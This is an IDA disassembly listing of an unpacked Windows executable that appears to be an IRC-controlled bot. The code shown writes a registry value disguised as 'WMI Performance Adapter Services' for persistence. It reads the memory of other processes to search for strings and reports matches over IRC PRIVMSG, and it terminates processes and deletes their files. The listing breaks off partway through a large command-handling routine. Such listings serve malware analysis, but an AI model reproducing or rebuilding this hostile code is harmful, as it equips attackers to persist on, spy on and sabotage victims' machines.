;
; +-------------------------------------------------------------------------+
; |	This file is generated by The Interactive Disassembler (IDA)	    |
; |	Copyright (c) 2007 by DataRescue sa/nv,	<ida@datarescue.com>	    |
; |		  Licensed to: SRI, 1 computer,	std, 05/2007		    |
; +-------------------------------------------------------------------------+
;
;
; +-------------------------------------------------------------------------+
; |	This file is generated by The Interactive Disassembler (IDA)	    |
; |	Copyright (c) 2007 by DataRescue sa/nv,	<ida@datarescue.com>	    |
; |		  Licensed to: SRI, 1 computer,	std, 05/2007		    |
; +-------------------------------------------------------------------------+
;
; Input	MD5   :	DD186CD27273E85B7A730E39A205469C

; File Name   :	u:\work\dd186cd27273e85b7a730e39a205469c_unpacked.exe
; Format      :	Portable executable for	80386 (PE)
; Imagebase   :	400000
; Section 1. (virtual address 00001000)
; Virtual size			: 000C6000 ( 811008.)
; Section size in file		: 000C6000 ( 811008.)
; Offset to raw	data for section: 00001000
; Flags	E0000060: Text Data Executable Readable	Writable
; Alignment	: default


unicode		macro page,string,zero
		irpc c,<string>
		db '&c', page
		endm
		ifnb <zero>
		dw zero
		endif
endm

		.686p
		.mmx
		.model flat

; ===========================================================================

; Segment type:	Pure code
; Segment permissions: Read/Write/Execute
_text		segment	para public 'CODE' use32
		assume cs:_text
		;org 401000h
		assume es:nothing, ss:nothing, ds:_text, fs:nothing, gs:nothing

; =============== S U B	R O U T	I N E =======================================


		public start

start		proc near		; CODE XREF: sub_404BAB+49Ep
					; sub_408B66+16p

var_4		= byte ptr -4
arg_0		= dword	ptr  4

		push	ecx
		push	ebx
		push	ebp
		push	esi
		push	edi
		mov	edi, [esp+14h+arg_0]
		xor	ebp, ebp
		xor	esi, esi
		mov	ebx, offset aWmiPerformance ; "WMI Performance Adapter Services"


loc_401012:				; CODE XREF: start+6Bj
		push	ebp
		lea	eax, [esp+18h+var_4]
		push	eax
		push	ebp
		push	0F003Fh
		push	ebp
		push	ebp
		push	ebp
		push	off_41E05C[esi]
		push	dword_41E058[esi]
		call	dword_419008	; RegCreateKeyExA
		cmp	edi, ebp
		jz	short loc_401050
		push	edi
		call	sub_40D630
		pop	ecx
		push	eax
		push	edi
		push	1
		push	ebp
		push	ebx
		push	dword ptr [esp+28h+var_4]
		call	dword_41900C	; RegSetValueExA
		jmp	short loc_40105B
; ---------------------------------------------------------------------------


loc_401050:				; CODE XREF: start+35j
		push	ebx
		push	dword ptr [esp+18h+var_4]
		call	dword_419010	; RegDeleteValueA


loc_40105B:				; CODE XREF: start+4Ej
		push	dword ptr [esp+14h+var_4]
		call	dword_419014	; RegCloseKey
		add	esi, 8
		cmp	esi, 40h
		jb	short loc_401012
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		pop	ecx
		retn
start		endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401073	proc near		; CODE XREF: sub_401179+F5p

var_228		= dword	ptr -228h
var_224		= byte ptr -224h
var_208		= byte ptr -208h
var_108		= byte ptr -108h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_C		= dword	ptr  14h
arg_28		= byte ptr  30h

		push	ebp
		mov	ebp, esp
		sub	esp, 228h
		and	[ebp+var_228], 0
		push	esi
		push	edi
		push	[ebp+arg_C]
		xor	eax, eax
		mov	ecx, 88h
		lea	edi, [ebp+var_224]
		push	8
		rep stosd
		call	sub_40D61C	; CreateToolhelp32Snapshot
		mov	edi, eax
		lea	eax, [ebp+var_228]
		push	eax
		push	edi
		mov	[ebp+var_228], 224h
		call	sub_40D616	; Module32First
		test	eax, eax
		jz	loc_401167
		mov	esi, offset dword_421B00


loc_4010C4:				; CODE XREF: sub_401073+EEj
		lea	eax, [ebp+var_208]
		push	eax
		lea	eax, [ebp+arg_28]
		push	eax
		call	sub_40D720
		test	eax, eax
		pop	ecx
		pop	ecx
		jnz	short loc_401152
		push	80h
		lea	eax, [ebp+var_108]
		push	eax
		call	dword_419078	; SetFileAttributesA
		push	[ebp+arg_C]
		push	0
		push	1F0FFFh
		call	dword_419074	; OpenProcess
		push	0
		push	eax
		mov	[ebp+var_4], eax
		call	dword_419070	; TerminateProcess
		push	1F4h
		call	dword_419060	; Sleep
		lea	eax, [ebp+var_108]
		push	eax
		call	dword_41906C	; DeleteFileA
		test	eax, eax
		jz	short loc_40113E
		lea	eax, [ebp+var_108]
		push	eax
		push	offset dword_41E1A8
		push	offset aPrivmsgST3rmin ; "PRIVMSG %s :T3rmina3d	and del3t3d %s\n"
		push	esi
		call	sub_40D6BB
		add	esp, 10h


loc_40113E:				; CODE XREF: sub_401073+AFj
		push	0
		push	esi
		call	sub_40D630
		pop	ecx
		push	eax
		push	esi
		push	[ebp+arg_0]
		call	dword_419258	; send


loc_401152:				; CODE XREF: sub_401073+65j
		lea	eax, [ebp+var_228]
		push	eax
		push	edi
		call	sub_40D610	; Module32Next
		test	eax, eax
		jnz	loc_4010C4


loc_401167:				; CODE XREF: sub_401073+46j
		push	[ebp+var_4]
		mov	esi, dword_419064
		call	esi	; CloseHandle
		push	edi
		call	esi	; CloseHandle
		pop	edi
		pop	esi
		leave
		retn
sub_401073	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401179	proc near		; CODE XREF: sub_4012BA+BAp
					; sub_4012BA+DCp

var_5508	= byte ptr -5508h
var_5507	= byte ptr -5507h
var_508		= byte ptr -508h
var_507		= byte ptr -507h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= byte ptr  14h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		mov	eax, 5508h
		call	sub_40D9A0
		and	[ebp+var_5508],	0
		and	[ebp+var_508], 0
		push	ebx
		push	esi
		push	edi
		push	[ebp+arg_14]
		xor	eax, eax
		mov	ecx, 13FFh
		lea	edi, [ebp+var_5507]
		rep stosd
		stosw
		stosb
		xor	eax, eax
		mov	ecx, 13Fh
		lea	edi, [ebp+var_507]
		rep stosd
		stosw
		xor	esi, esi
		push	esi
		push	1F0FFFh
		stosb
		call	dword_419074	; OpenProcess
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_4]
		cmp	eax, [ebp+arg_8]
		mov	[ebp+arg_4], eax
		ja	loc_4012AC
		mov	ebx, offset dword_421B00


loc_4011E3:				; CODE XREF: sub_401179+12Dj
		push	esi
		push	500h
		lea	eax, [ebp+var_508]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+var_4]
		call	dword_419084	; ReadProcessMemory
		cmp	eax, esi
		jz	loc_4012AC
		lea	eax, [ebp+var_508]
		push	eax
		lea	eax, [ebp+var_5508]
		push	eax
		call	sub_40D8B0
		cmp	off_41E09C, esi
		pop	ecx
		pop	ecx
		jz	short loc_401288
		mov	eax, offset off_41E09C
		mov	[ebp+var_8], eax


loc_401229:				; CODE XREF: sub_401179+10Dj
		push	dword ptr [eax]
		lea	eax, [ebp+var_5508]
		push	eax
		call	sub_40D810
		test	eax, eax
		pop	ecx
		pop	ecx
		jz	short loc_40127B
		push	esi
		push	ebx
		call	sub_40D630
		pop	ecx
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	dword_419258	; send
		push	7D0h
		call	dword_419060	; Sleep
		sub	esp, 128h
		push	4Ah
		pop	ecx
		mov	edi, esp
		push	[ebp+arg_0]
		lea	esi, [ebp+arg_C]
		rep movsd
		call	sub_401073
		add	esp, 12Ch
		xor	esi, esi


loc_40127B:				; CODE XREF: sub_401179+C2j
		mov	eax, [ebp+var_8]
		add	eax, 8
		cmp	[eax], esi
		mov	[ebp+var_8], eax
		jnz	short loc_401229


loc_401288:				; CODE XREF: sub_401179+A6j
		push	5000h
		lea	eax, [ebp+var_5508]
		push	esi
		push	eax
		call	sub_40D7B0
		add	esp, 0Ch
		inc	[ebp+arg_4]
		mov	eax, [ebp+arg_4]
		cmp	eax, [ebp+arg_8]
		jbe	loc_4011E3


loc_4012AC:				; CODE XREF: sub_401179+5Fj
					; sub_401179+85j
		push	[ebp+var_4]
		call	dword_419064	; CloseHandle
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_401179	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4012BA	proc near		; CODE XREF: sub_40198E+D6Fp

var_1C0		= byte ptr -1C0h
var_140		= dword	ptr -140h
var_11C		= byte ptr -11Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 1C0h
		push	ebx
		push	esi
		push	edi
		push	80h
		lea	eax, [ebp+var_1C0]
		push	eax
		push	0
		call	dword_419094	; GetModuleHandleA
		push	eax
		call	dword_419090	; GetModuleFileNameA
		push	0
		lea	eax, [ebp+var_1C0]
		push	2
		mov	[ebp+var_18], offset aExplorer_exe ; "explorer.exe"
		mov	[ebp+var_14], offset aHidserv_exe ; "hidserv.exe"
		mov	[ebp+var_10], offset aWinlogon_exe ; "WINLOGON.EXE"
		mov	[ebp+var_C], offset aServices_exe ; "SERVICES.EXE"
		mov	[ebp+var_8], eax
		call	sub_40D61C	; CreateToolhelp32Snapshot
		lea	ecx, [ebp+var_140]
		push	ecx
		push	eax
		mov	[ebp+var_4], eax
		mov	[ebp+var_140], 128h
		mov	bl, 1
		call	sub_40D628	; Process32First
		jmp	loc_4013B4
; ---------------------------------------------------------------------------


loc_401330:				; CODE XREF: sub_4012BA+FCj
		xor	esi, esi


loc_401332:				; CODE XREF: sub_4012BA+94j
		lea	eax, [ebp+var_11C]
		push	eax
		push	[ebp+esi*4+var_18]
		call	sub_40D810
		test	eax, eax
		pop	ecx
		pop	ecx
		jz	short loc_40134A
		xor	bl, bl


loc_40134A:				; CODE XREF: sub_4012BA+8Cj
		inc	esi
		cmp	esi, 5
		jb	short loc_401332
		test	bl, bl
		jz	short loc_4013A3
		sub	esp, 128h
		push	4Ah
		pop	ecx
		mov	edi, esp
		push	4FFFFFh
		push	400000h
		push	[ebp+arg_0]
		lea	esi, [ebp+var_140]
		rep movsd
		call	sub_401179
		add	esp, 0Ch
		push	4Ah
		pop	ecx
		mov	edi, esp
		push	1FFFFFh
		push	100000h
		push	[ebp+arg_0]
		lea	esi, [ebp+var_140]
		rep movsd
		call	sub_401179
		add	esp, 134h
		jmp	short loc_4013A5
; ---------------------------------------------------------------------------


loc_4013A3:				; CODE XREF: sub_4012BA+98j
		mov	bl, 1


loc_4013A5:				; CODE XREF: sub_4012BA+E7j
		lea	eax, [ebp+var_140]
		push	eax
		push	[ebp+var_4]
		call	sub_40D622	; Process32Next


loc_4013B4:				; CODE XREF: sub_4012BA+71j
		test	eax, eax
		jnz	loc_401330
		push	[ebp+var_4]
		call	dword_419064	; CloseHandle
		dec	dword_420F84
		js	short loc_4013D5
		inc	off_420F80
		jmp	short loc_4013E0
; ---------------------------------------------------------------------------


loc_4013D5:				; CODE XREF: sub_4012BA+111j
		push	offset off_420F80
		call	sub_40D9DD
		pop	ecx


loc_4013E0:				; CODE XREF: sub_4012BA+119j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4012BA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4013E5	proc near		; CODE XREF: sub_40151D+BAp
					; sub_40151D+DCp

var_5508	= byte ptr -5508h
var_5507	= byte ptr -5507h
var_508		= byte ptr -508h
var_507		= byte ptr -507h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_14		= dword	ptr  1Ch
arg_30		= byte ptr  38h

		push	ebp
		mov	ebp, esp
		mov	eax, 5508h
		call	sub_40D9A0
		push	ebx
		push	edi
		push	[ebp+arg_14]
		xor	eax, eax
		xor	ebx, ebx
		mov	[ebp+var_5508],	bl
		mov	ecx, 13FFh
		lea	edi, [ebp+var_5507]
		rep stosd
		stosw
		stosb
		mov	[ebp+var_508], bl
		xor	eax, eax
		mov	ecx, 13Fh
		lea	edi, [ebp+var_507]
		rep stosd
		stosw
		push	ebx
		push	1F0FFFh
		stosb
		call	dword_419074	; OpenProcess
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_4]
		cmp	eax, [ebp+arg_8]
		mov	[ebp+arg_4], eax
		ja	loc_401510
		push	esi
		mov	esi, offset dword_421C00


loc_40144D:				; CODE XREF: sub_4013E5+124j
		push	ebx
		push	500h
		lea	eax, [ebp+var_508]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+var_4]
		call	dword_419084	; ReadProcessMemory
		cmp	eax, ebx
		jz	loc_40150F
		lea	eax, [ebp+var_508]
		push	eax
		lea	eax, [ebp+var_5508]
		push	eax
		call	sub_40D8B0
		cmp	off_41E0BC, ebx
		pop	ecx
		pop	ecx
		jz	short loc_4014EB
		mov	edi, offset off_41E0BC
		mov	[ebp+var_8], edi


loc_401493:				; CODE XREF: sub_4013E5+104j
		push	dword ptr [edi]


loc_401495:				; DATA XREF: .text:off_41F6B0o
		lea	eax, [ebp+var_5508]
		push	eax
		call	sub_40D810
		test	eax, eax
		pop	ecx
		pop	ecx
		jz	short loc_4014DE
		lea	eax, [ebp+arg_30]
		push	eax
		push	dword ptr [edi]
		push	offset dword_41E1A8
		push	offset aPrivmsgSFoundS ; "PRIVMSG %s :Found string \"%s\" in \"%s\" \n"...
		push	esi
		call	sub_40D6BB
		add	esp, 14h
		push	ebx
		push	esi
		call	sub_40D630
		pop	ecx
		push	eax
		push	esi
		push	[ebp+arg_0]
		call	dword_419258	; send
		push	7D0h
		call	dword_419060	; Sleep


loc_4014DE:				; CODE XREF: sub_4013E5+C0j
		mov	edi, [ebp+var_8]
		add	edi, 8
		cmp	[edi], ebx
		mov	[ebp+var_8], edi
		jnz	short loc_401493


loc_4014EB:				; CODE XREF: sub_4013E5+A4j
		push	5000h
		lea	eax, [ebp+var_5508]
		push	ebx
		push	eax
		call	sub_40D7B0
		add	esp, 0Ch
		inc	[ebp+arg_4]
		mov	eax, [ebp+arg_4]
		cmp	eax, [ebp+arg_8]
		jbe	loc_40144D


loc_40150F:				; CODE XREF: sub_4013E5+83j
		pop	esi


loc_401510:				; CODE XREF: sub_4013E5+5Cj
		push	[ebp+var_4]
		call	dword_419064	; CloseHandle
		pop	edi
		pop	ebx
		leave
		retn
sub_4013E5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40151D	proc near		; CODE XREF: sub_40198E+DABp

var_1C0		= byte ptr -1C0h
var_140		= dword	ptr -140h
var_11C		= byte ptr -11Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 1C0h
		push	ebx
		push	esi
		push	edi
		push	80h
		lea	eax, [ebp+var_1C0]
		push	eax
		push	0
		call	dword_419094	; GetModuleHandleA
		push	eax
		call	dword_419090	; GetModuleFileNameA
		push	0
		lea	eax, [ebp+var_1C0]
		push	2
		mov	[ebp+var_18], offset aExplorer_exe ; "explorer.exe"
		mov	[ebp+var_14], offset aHidserv_exe ; "hidserv.exe"
		mov	[ebp+var_10], offset aWinlogon_exe ; "WINLOGON.EXE"
		mov	[ebp+var_C], offset aServices_exe ; "SERVICES.EXE"
		mov	[ebp+var_8], eax
		call	sub_40D61C	; CreateToolhelp32Snapshot
		lea	ecx, [ebp+var_140]
		push	ecx
		push	eax
		mov	[ebp+var_4], eax
		mov	[ebp+var_140], 128h
		mov	bl, 1
		call	sub_40D628	; Process32First
		jmp	loc_401617
; ---------------------------------------------------------------------------


loc_401593:				; CODE XREF: sub_40151D+FCj
		xor	esi, esi


loc_401595:				; CODE XREF: sub_40151D+94j
		lea	eax, [ebp+var_11C]
		push	eax
		push	[ebp+esi*4+var_18]
		call	sub_40D810
		test	eax, eax
		pop	ecx
		pop	ecx
		jz	short loc_4015AD
		xor	bl, bl


loc_4015AD:				; CODE XREF: sub_40151D+8Cj
		inc	esi
		cmp	esi, 5
		jb	short loc_401595
		test	bl, bl
		jz	short loc_401606
		sub	esp, 128h
		push	4Ah
		pop	ecx
		mov	edi, esp
		push	4FFFFFh
		push	400000h
		push	[ebp+arg_0]
		lea	esi, [ebp+var_140]
		rep movsd
		call	sub_4013E5
		add	esp, 0Ch
		push	4Ah
		pop	ecx
		mov	edi, esp
		push	1FFFFFh
		push	100000h
		push	[ebp+arg_0]
		lea	esi, [ebp+var_140]
		rep movsd
		call	sub_4013E5
		add	esp, 134h
		jmp	short loc_401608
; ---------------------------------------------------------------------------


loc_401606:				; CODE XREF: sub_40151D+98j
		mov	bl, 1


loc_401608:				; CODE XREF: sub_40151D+E7j
		lea	eax, [ebp+var_140]
		push	eax
		push	[ebp+var_4]
		call	sub_40D622	; Process32Next


loc_401617:				; CODE XREF: sub_40151D+71j
		test	eax, eax
		jnz	loc_401593
		push	[ebp+var_4]
		call	dword_419064	; CloseHandle
		dec	dword_420F84
		js	short loc_401638
		inc	off_420F80
		jmp	short loc_401643
; ---------------------------------------------------------------------------


loc_401638:				; CODE XREF: sub_40151D+111j
		push	offset off_420F80
		call	sub_40D9DD
		pop	ecx


loc_401643:				; CODE XREF: sub_40151D+119j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40151D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401648	proc near		; CODE XREF: sub_40198E+3BFp
					; sub_40198E+5DDp ...

var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_A		= word ptr -0Ah
var_8		= word ptr -8
var_6		= word ptr -6
var_4		= word ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	esi
		push	edi
		lea	eax, [ebp+var_10]
		push	eax
		call	dword_419098	; GetLocalTime
		mov	esi, offset dword_4BD7E0
		mov	edi, offset dword_4B98E0


loc_401664:				; CODE XREF: sub_401648+3Bj
		cmp	byte ptr [esi],	0
		jz	short loc_40167B
		push	7Fh
		lea	eax, [esi+80h]
		push	esi
		push	eax
		call	sub_40DB80
		add	esp, 0Ch


loc_40167B:				; CODE XREF: sub_401648+1Fj
		sub	esi, 80h
		cmp	esi, edi
		jge	short loc_401664
		push	[ebp+arg_0]
		movzx	eax, [ebp+var_4]
		push	eax
		movzx	eax, [ebp+var_6]
		push	eax
		movzx	eax, [ebp+var_8]
		push	eax
		movzx	eax, [ebp+var_10]
		push	eax
		movzx	eax, [ebp+var_A]
		push	eax
		movzx	eax, [ebp+var_E]
		push	eax
		push	offset aDDDDDDS	; "[%d-%d-%d %d:%d:%d] %s"
		push	edi
		call	sub_40D6BB
		add	esp, 24h
		pop	edi
		pop	esi
		leave
		retn
sub_401648	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4016B8	proc near		; CODE XREF: sub_40198E+F40p
					; sub_40198E+F69p ...

var_400		= byte ptr -400h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 400h
		push	400h
		lea	eax, [ebp+var_400]
		push	0
		push	eax
		call	sub_40D7B0
		push	[ebp+arg_4]
		lea	eax, [ebp+var_400]
		push	offset aS	; "%s\r\n"
		push	eax
		call	sub_40D6BB
		add	esp, 18h
		lea	eax, [ebp+var_400]
		push	0
		push	eax
		call	sub_40D630
		pop	ecx
		push	eax
		lea	eax, [ebp+var_400]
		push	eax
		push	[ebp+arg_0]
		call	dword_419258	; send
		leave
		retn
sub_4016B8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40170D	proc near		; CODE XREF: sub_40198E+1BBp
					; sub_40198E+222p ...

var_400		= byte ptr -400h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 400h
		push	400h
		lea	eax, [ebp+var_400]
		push	0
		push	eax
		call	sub_40D7B0
		push	[ebp+arg_8]
		lea	eax, [ebp+var_400]
		push	[ebp+arg_4]
		push	eax
		call	sub_40D6BB
		add	esp, 18h
		lea	eax, [ebp+var_400]
		push	0
		push	eax
		call	sub_40D630
		pop	ecx
		push	eax
		lea	eax, [ebp+var_400]
		push	eax
		push	[ebp+arg_0]
		call	dword_419258	; send
		leave
		retn
sub_40170D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401760	proc near		; CODE XREF: sub_40198E+1DCp
					; sub_40198E+3B3p ...

var_400		= byte ptr -400h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 400h
		push	400h
		lea	eax, [ebp+var_400]
		push	0
		push	eax
		call	sub_40D7B0
		push	[ebp+arg_C]
		lea	eax, [ebp+var_400]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	eax
		call	sub_40D6BB
		add	esp, 1Ch
		lea	eax, [ebp+var_400]
		push	0
		push	eax
		call	sub_40D630
		pop	ecx
		push	eax
		lea	eax, [ebp+var_400]
		push	eax
		push	[ebp+arg_0]
		call	dword_419258	; send
		leave
		retn
sub_401760	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4017B6	proc near		; CODE XREF: sub_40198E+428p
					; sub_40198E+50Bp ...

var_400		= byte ptr -400h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 400h
		push	400h
		lea	eax, [ebp+var_400]
		push	0
		push	eax
		call	sub_40D7B0
		add	esp, 0Ch
		cmp	[ebp+arg_C], 0
		mov	eax, offset aNotice ; "NOTICE"
		jnz	short loc_4017E5
		mov	eax, offset aPrivmsg ; "PRIVMSG"


loc_4017E5:				; CODE XREF: sub_4017B6+28j
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	eax
		lea	eax, [ebp+var_400]
		push	offset aSSS	; "%s %s :%s\r\n"
		push	eax
		call	sub_40D6BB
		add	esp, 14h
		lea	eax, [ebp+var_400]
		push	0
		push	eax
		call	sub_40D630
		pop	ecx
		push	eax
		lea	eax, [ebp+var_400]
		push	eax
		push	[ebp+arg_0]
		call	dword_419258	; send
		leave
		retn
sub_4017B6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401822	proc near		; CODE XREF: sub_40198E+A1Ap
					; sub_40198E+A45p ...

var_C04		= byte ptr -0C04h
var_804		= byte ptr -804h
var_404		= byte ptr -404h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 0C04h
		push	ebx
		push	esi
		push	edi
		mov	esi, 400h
		push	esi
		xor	edi, edi
		lea	eax, [ebp+var_404]
		push	edi
		push	eax
		call	sub_40D7B0
		push	esi
		lea	eax, [ebp+var_804]
		push	edi
		push	eax
		call	sub_40D7B0
		push	esi
		lea	eax, [ebp+var_C04]
		push	edi
		push	eax
		call	sub_40D7B0
		dec	esi
		push	esi
		push	[ebp+arg_0]
		lea	eax, [ebp+var_404]
		push	eax
		call	sub_40DB80
		mov	edi, [ebp+arg_8]
		push	edi
		call	sub_40D630
		add	esp, 34h
		cmp	eax, 180h
		jbe	short loc_40188A
		and	byte ptr [edi+180h], 0


loc_40188A:				; CODE XREF: sub_401822+5Fj
		mov	ebx, [ebp+arg_4]
		jmp	loc_40194F
; ---------------------------------------------------------------------------


loc_401892:				; CODE XREF: sub_401822+13Ej
		lea	eax, [ebp+var_404]
		push	ebx
		push	eax
		call	sub_40D810
		pop	ecx
		pop	ecx
		push	esi
		push	ebx
		mov	edi, eax
		call	sub_40D630
		pop	ecx
		add	eax, edi
		push	eax
		lea	eax, [ebp+var_C04]
		push	eax
		call	sub_40DB80
		and	byte ptr [edi],	0
		push	esi
		lea	eax, [ebp+var_404]
		push	eax
		lea	eax, [ebp+var_804]
		push	eax
		call	sub_40DB80
		add	esp, 18h
		inc	edi
		test	edi, edi
		jz	short loc_401940
		lea	eax, [ebx-1]
		test	eax, eax
		jz	short loc_401940
		lea	eax, [ebx-1]
		push	eax
		call	sub_40D630
		push	edi
		mov	[ebp+var_4], eax
		call	sub_40D630
		pop	ecx
		pop	ecx
		mov	ecx, [ebp+var_4]
		cmp	eax, ecx
		jbe	short loc_401922
		lea	eax, [ebp+var_C04]
		push	eax
		push	[ebp+arg_8]
		lea	eax, [ebp+var_804]
		push	eax
		lea	eax, [ebp+var_404]
		push	offset aSSS_0	; "%s%s%s"
		push	eax
		call	sub_40D6BB
		add	esp, 14h
		jmp	short loc_401940
; ---------------------------------------------------------------------------


loc_401922:				; CODE XREF: sub_401822+D7j
		push	[ebp+arg_8]
		lea	eax, [ebp+var_804]
		push	eax
		lea	eax, [ebp+var_404]
		push	offset aSS	; "%s%s"
		push	eax
		call	sub_40D6BB
		add	esp, 10h


loc_401940:				; CODE XREF: sub_401822+B5j
					; sub_401822+BCj ...
		push	[ebp+arg_8]
		push	ebx
		call	sub_40D810
		test	eax, eax
		pop	ecx
		pop	ecx
		jnz	short loc_401966


loc_40194F:				; CODE XREF: sub_401822+6Bj
		lea	eax, [ebp+var_404]
		push	ebx
		push	eax
		call	sub_40D810
		test	eax, eax
		pop	ecx
		pop	ecx
		jnz	loc_401892


loc_401966:				; CODE XREF: sub_401822+12Bj
		lea	eax, [ebp+var_404]
		push	eax
		call	sub_40D630
		inc	eax
		push	eax
		lea	eax, [ebp+var_404]
		push	eax
		push	[ebp+arg_0]
		call	sub_40DB80
		mov	eax, [ebp+arg_0]
		add	esp, 10h
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_401822	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40198E	proc near		; CODE XREF: sub_40479E+FAp

var_1444	= byte ptr -1444h
var_1044	= byte ptr -1044h
var_C44		= byte ptr -0C44h
var_BC4		= dword	ptr -0BC4h
var_BC0		= byte ptr -0BC0h
var_AB8		= dword	ptr -0AB8h
var_AB4		= byte ptr -0AB4h
var_A34		= byte ptr -0A34h
var_939		= byte ptr -939h
var_938		= byte ptr -938h
var_934		= byte ptr -934h
var_834		= dword	ptr -834h
var_830		= dword	ptr -830h
var_82C		= dword	ptr -82Ch
var_828		= dword	ptr -828h
var_824		= dword	ptr -824h
var_820		= dword	ptr -820h
var_81C		= dword	ptr -81Ch
var_818		= dword	ptr -818h
var_814		= byte ptr -814h
var_414		= byte ptr -414h
var_3B3		= byte ptr -3B3h
var_3B2		= byte ptr -3B2h
var_3B0		= byte ptr -3B0h
var_3AF		= byte ptr -3AFh
var_3A6		= byte ptr -3A6h
var_3A4		= byte ptr -3A4h
var_3A2		= byte ptr -3A2h
var_3A1		= byte ptr -3A1h
var_3A0		= byte ptr -3A0h
var_39D		= byte ptr -39Dh
var_39B		= byte ptr -39Bh
var_314		= byte ptr -314h
var_304		= dword	ptr -304h
var_300		= byte ptr -300h
var_280		= byte ptr -280h
var_23C		= byte ptr -23Ch
var_22C		= byte ptr -22Ch
var_200		= byte ptr -200h
var_1F4		= byte ptr -1F4h
var_1AC		= byte ptr -1ACh
var_188		= dword	ptr -188h
var_184		= dword	ptr -184h
var_180		= byte ptr -180h
var_174		= dword	ptr -174h
var_170		= byte ptr -170h
var_154		= byte ptr -154h
var_134		= dword	ptr -134h
var_12C		= dword	ptr -12Ch
var_128		= dword	ptr -128h
var_124		= dword	ptr -124h
var_120		= dword	ptr -120h
var_11C		= dword	ptr -11Ch
var_110		= dword	ptr -110h
var_10C		= dword	ptr -10Ch
var_104		= dword	ptr -104h
var_100		= dword	ptr -100h
var_FC		= dword	ptr -0FCh
var_F8		= dword	ptr -0F8h
var_F4		= dword	ptr -0F4h
var_F0		= byte ptr -0F0h
var_D8		= byte ptr -0D8h
var_D4		= byte ptr -0D4h
var_C8		= byte ptr -0C8h
var_C4		= dword	ptr -0C4h
var_B8		= dword	ptr -0B8h
var_B4		= dword	ptr -0B4h
var_B0		= dword	ptr -0B0h
var_AC		= dword	ptr -0ACh
var_A8		= dword	ptr -0A8h
var_A4		= dword	ptr -0A4h
var_A0		= dword	ptr -0A0h
var_78		= byte ptr -78h
var_74		= dword	ptr -74h
var_70		= dword	ptr -70h
var_48		= dword	ptr -48h
var_38		= byte ptr -38h
var_2C		= byte ptr -2Ch
var_2B		= byte ptr -2Bh
var_2A		= byte ptr -2Ah
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h
arg_20		= dword	ptr  28h
arg_24		= dword	ptr  2Ch

		push	ebp
		mov	ebp, esp
		mov	eax, 1444h
		call	sub_40D9A0
		push	ebx
		push	esi
		xor	ebx, ebx
		mov	esi, 400h
		push	esi
		lea	eax, [ebp+var_814]
		push	ebx
		push	eax
		mov	[ebp+var_10], ebx
		mov	[ebp+var_4], ebx
		mov	[ebp+var_18], ebx
